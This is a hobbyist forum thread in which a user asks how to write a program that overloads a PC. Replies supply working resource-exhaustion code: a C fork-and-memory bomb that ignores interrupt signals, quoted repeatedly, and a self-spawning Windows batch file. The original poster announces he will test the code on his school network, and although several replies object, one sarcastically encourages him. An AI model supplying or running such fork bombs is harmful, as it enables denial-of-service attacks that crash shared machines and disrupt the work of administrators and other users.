Jump to content

3.14 friend or foe?


Xzan_Rall

Recommended Posts

After thinking for about a min or so, i thought of a great virus/hack.  what if you could make a program that kept going, like pie, you could over load a PC in seconds, i am still thinking on how to do this.  Does any one have any ideas what i could do this in? i know C, C++, and Wscript. 

Link to comment
Share on other sites

Sigh... kids these days...

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>

void main(void) {
    pid_t pid;
    signal(SIGPIPE,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    do {
        malloc(1024);
        pid = fork();
        if (pid == 0) { // child
            signal(SIGPIPE,SIG_IGN);
            signal(SIGINT,SIG_IGN);
            signal(SIGHUP,SIG_IGN);
        }
    } while (1);
}

Fork and memory bomb.

You'll be traced like *that* by the admin of the box you run this on, but it's fun to see the machine crumble and fall under the load.

Link to comment
Share on other sites

Sigh... kids these days...

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>

void main(void) {
    pid_t pid;
    signal(SIGPIPE,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    do {
        malloc(1024);
        pid = fork();
        if (pid == 0) { // child
            signal(SIGPIPE,SIG_IGN);
            signal(SIGINT,SIG_IGN);
            signal(SIGHUP,SIG_IGN);
        }
    } while (1);
}

Fork and memory bomb.

You'll be traced like *that* by the admin of the box you run this on, but it's fun to see the machine crumble and fall under the load.

Thx for the code, will have to test it in my school network. And i agree kids these days are just don't know, but us teens do :-) GO TEENS!

Link to comment
Share on other sites

Sigh... kids these days...

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>

void main(void) {
    pid_t pid;
    signal(SIGPIPE,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    do {
        malloc(1024);
        pid = fork();
        if (pid == 0) { // child
            signal(SIGPIPE,SIG_IGN);
            signal(SIGINT,SIG_IGN);
            signal(SIGHUP,SIG_IGN);
        }
    } while (1);
}

Fork and memory bomb.

You'll be traced like *that* by the admin of the box you run this on, but it's fun to see the machine crumble and fall under the load.

Thx for the code, will have to test it in my school network. And i agree kids these days are just don't know, but us teens do :-) GO TEENS!

Have you been through all the forum? The same things comes up, "DON'T HACK YOUR SCHOOL NETWORK!!". Dont spoil your own nest.

Link to comment
Share on other sites

Sigh... kids these days...

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>

void main(void) {
    pid_t pid;
    signal(SIGPIPE,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    do {
        malloc(1024);
        pid = fork();
        if (pid == 0) { // child
            signal(SIGPIPE,SIG_IGN);
            signal(SIGINT,SIG_IGN);
            signal(SIGHUP,SIG_IGN);
        }
    } while (1);
}

Fork and memory bomb.

You'll be traced like *that* by the admin of the box you run this on, but it's fun to see the machine crumble and fall under the load.

Thx for the code, will have to test it in my school network. And i agree kids these days are just don't know, but us teens do :-) GO TEENS!

dude don't be a jackass and try and run this at your school like cooper said you'll be traced.  and it fucks over the admin's day so unless you're the sad dumb shit that gets his jollys by kicking puppies, JUST DON'T
Link to comment
Share on other sites

evil.bat

:start
start evil.bat
goto start

That will make about a million command prompts that each will open a million command prompts.

Which will after about 10 seconds will effectivley use up all system resouces and crash the system with some pretty graphics

Just tested this. It didn't crash it, but did manage to open up a good 200 command prompts before I shut the comp down from annoyance/boredom/lack of time.

Link to comment
Share on other sites

Oh man.. you gotta be kidding me. I leave for a while to get my college sorted out and apparently we get a flood more people whom join and cant use google or their brain. Oh and Xzan_Rall.. PLEASE for the love of god, run it on your school network, maybe they'll catch you and people will be smart enough not to let you around anything more serious...

:D Anyway. nice to be back

Link to comment
Share on other sites

Sigh... kids these days...

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>

void main(void) {
    pid_t pid;
    signal(SIGPIPE,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    do {
        malloc(1024);
        pid = fork();
        if (pid == 0) { // child
            signal(SIGPIPE,SIG_IGN);
            signal(SIGINT,SIG_IGN);
            signal(SIGHUP,SIG_IGN);
        }
    } while (1);
}

Fork and memory bomb.

You'll be traced like *that* by the admin of the box you run this on, but it's fun to see the machine crumble and fall under the load.

Thx for the code, will have to test it in my school network. And i agree kids these days are just don't know, but us teens do :-) GO TEENS!

I hope that he just forgot to put the /sarcasm :|

Link to comment
Share on other sites

i was actually thinking about doing this, but having the comp brute force fermats last thereom, which has been proven impossible, but the comp doesnt know that

and correct me if im wrong, but would the best way to use up as much sys resources as possible be to write a infinite loop style program, but at the lowest possible level of programming languages, it would be interesting to see if for example: C++ locks up a system faster than Python.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...